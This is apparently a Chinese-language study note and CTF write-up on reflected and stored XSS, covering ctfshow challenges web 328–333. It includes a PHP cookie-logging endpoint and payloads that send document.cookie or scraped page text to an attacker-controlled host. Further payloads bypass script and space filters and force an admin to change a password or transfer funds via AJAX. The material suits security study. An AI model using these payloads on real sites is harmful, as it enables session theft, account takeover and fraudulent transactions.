xss跨站脚本攻击
前言:终于继续来学习xss了
1 反射型xss
xss是跨站脚本攻击的缩写,本来应该写成css,但和层叠样式表(css)重合了,就改叫xss了
1.1无过滤反射型xss
就和名字一样,服务器收到你传递的数据后就直接传递给了前端页面上,然后在前端页面进行显示。但
这个显示单纯是储存在你的客户端的,并没有在服务器端,所以原页面并没有你输入的内容,想要利用
只能通过让别人打开你传入数据后的payload来进行,当你重新进入原网页时,原来的内容会消失。
我们可以通过传入js代码,然后通过js来进行获取cookie等操作。
至于无过滤xss,就是什么过滤都没加的xss.
具体的操作:
第一步:配置xss平台,如果你有自己的服务器和网站自然好,在网站里配置这样的一个php文件
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>
注意服务器要给对应的用户开写入权限,要不然会500.
然后构造以下payload
<script>location.href="http://xxx/test.php?cookie="+document.cookie</script>
使用这个payload传入后获取url,然后将此url发送给别人,从而获得他的cookie
1.2 过滤script
如果对script进行过滤要怎么构造payload呢?这时候要用到onload事件了
onload事件通常用于<body>
中,在页面完全载入后触发,会执行作为属性值的js代码
明白了原理我们来构造payload
<body onload=location.href="http://xxx/test.php?cookie="+document.cookie></body>
这里有个点需要强调以下,此处由于网址用双引号包括,故整体的属性值不能用双引号包含,否则会不
符合输入格式
这里介绍第二种方式
<img src="" onerror=location.href="http://xxx/test.php?cookie="+document.cookie>
这里介绍以下img标签的onerror属性 和名字相符合,在加载src的图片错误时会进行执行其属性的j
avascript内容,我们在上面设置的src 为空,所以会加载错误,然后执行我们需要的内容。
1.3 对空格进行过滤
对于空格,由于js种/**/
是注释,不会进行解析,所以可以使用/**/
绕过空格过滤
在标签中进行过滤有一种特殊的方式绕过标签名和属性名之间的空格,使用/
进行饶过
<body/onload=...>
结构中的 /
实际上是在 HTML 标签内部利用了一种技巧来绕过某些安全检查。
在这里,/
的使用是为了结束标签的属性,使得后续的输入被解析为一个新的属性。常规的属性-值对在 HTML 中是通过空格分隔的,例如:
htmlCopy code
<body onload="...">
但如果由于某种原因,你不能或不想在载荷中使用空格(例如,某些过滤规则可能会移除或阻止空格的使用),那么可以使用 /
来绕过此限制。在上述情况下,<body/onload=...>
会被浏览器解析为:
- 一个名为
body
的标签; - 一个名为
onload
的属性,其值为后面的 JavaScript 代码。
所以对于存在空格过滤的反射型xss,其payload为
<body/onload=location.href="http://xxx/test.php?cookie="+document.cookie></body>
2 存储型xss
存储型xss又称持久型跨站点脚本,我们先前学习的xss必须上传payload后获得构造好的url,通过他人点
开该url进行操作,实际网站服务器端是没有你构造的payload的,但是存储型xss是直接将你输入的内容
存储在了服务器端的前端代码上,这样就不像反射型xss那样只有点开固定的payload才有用,而是点开
该网页的所有用户都会执行你发送的内容。
存储型xss的payload构造和反射型没有太大的区别
2.1 ctfshow web 328
来看个典型应用吧,ctfshow web 328
我们在这个题并没有像之前一样,将xss可以使用的地方表示的很明显,我们通过观察发现,存在三个部分
用户注册界面,用户登录界面,还有只有管理员账户才有权限查看的用户密码的查看界面,注册账号密码长
度没有限制,那既然管理员可以查看用户的密码界面,那我们将payload放在密码里传入,等到管理员查看
我们的密码时,我们设定的payload就会执行,可以通过此方式获得管理员账户的cookie,Payload和前一
题相同,获得了payload我们要如何利用呢?第一个方式是抓包,抓住请求包修改cookie获得管理员账户
的响应包,第二个方式比较简单的是在浏览器的控制台里直接更改当前页面的cookie,然后刷新页面就进
入了管理员页面,这个题还有个需要解决的点,就是进入管理员界面后,网页源码有跳转命令,对于此情
况,第一个方式就是直接拦截数据包,让其无法进行跳转,第二个方式就是在你跳转网页的源码里加
header,让其跳会刚才的页面,但问题是跳回去后又会进行跳转,所有就会反复横跳,当然,跳转的间隙也
是够你看到flag的(独创的懒人方式,我看了下没人用这个方式)
2.1 ctfshow web329
对于还是上面那种情况,如果将cookie设置为可变,管理员登录一次就更换一次,那我们该如何解决呢?
通过查看网页的源代码,我们发现所有密码显示页面的类名都为
laytable-cell-1-0-1
对于这种情况,我们可以考虑使用JQuery对该类名的所有元素进行一遍检查,检查
出含有ctf 字样的直接返回到我们的innerText内容,这样就可以获得flag.
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerText.indexOf('ctfshow')!=-1){location.href='http://ip/test.php?cookie='+value.innerText}});</script>
上述方式就是jQuery对便利某选择器匹配的所有元素的方式。
index方法是返回后续字符串第一次出现的位置,当未查询到字符串时返回值-1
2.2 ctfshow web 330
关于这个题我们上一题的payload失效,考虑flag存放位置发生改变,我们尝试在密码中构造语句,发现似乎
没有效果,尝试在用户名中构造js语句发现可以执行,这下得在用户名出构造
在进行观察,发现出现了更改密码界面,那我们是不是可以更改管理员密码呢?
尝试更改一下密码,抓个包看看
发现了请求头是这个
GET /api/change.php?p=111 HTTP/1.1
使用了get方式去传递更改的密码,那么我们就可以让管理员账户发送一个get请求去改他的密码
有了思路尝试更改一下payload
<script>location.href="http://127.0.0.1/api/change.php?p=111";</script>
直接让管理员发送更改密码请求,然后登录他的账号就行。
2.3 ctfshow web 331
界面和前两题没啥区别,我们尝试是上一题的payload,发现错误,查看了一下修改密码时的数据
提交方式,发现是post,这也说明了为什么上一题的payload为什么不能用了,这时候该怎么办
呢?我们考虑用ajax进行数据提交,构造payload
Ajax(Asynchronous Javascript And XML) 是异步的javascript 和xml.
有了这个思路,那构造payload便变得简单起来
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'1234'}});</script>
p对应的这个密码如果是数字可以以number类型传入,不一定要字符串
这样就成功构造好payload,修改了管理员的密码了,获得了flag
2.4 ctfshow web 332
经典的转账题目,试了一下尝试转给别人负值, 成功使得自己金额增长,这就是后端不对输入金额进行判断所产
生的逻辑漏洞
直接用多了的钱够买flag即可
当然也有xss解法,这个在下一题讲
2.5 ctfshow web 333
与上一题的题面相同,区别就在于在这里修复了逻辑漏洞,无法通过向他人转负值来进行增值,但我们发现,像自
己当前账户赚钱只会收钱不会减钱,所以也可以通过次方法来购买flag
以下是xss解法,我们通过转账时抓包判断出转账数据是通过post提交,有两个参数,u是username
a是转账金额,这时候就可以像上几题一样,利用异步进行xss
payload如下
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'111',a:'10000'}});</script>
注册以该payload为用户名的账户即可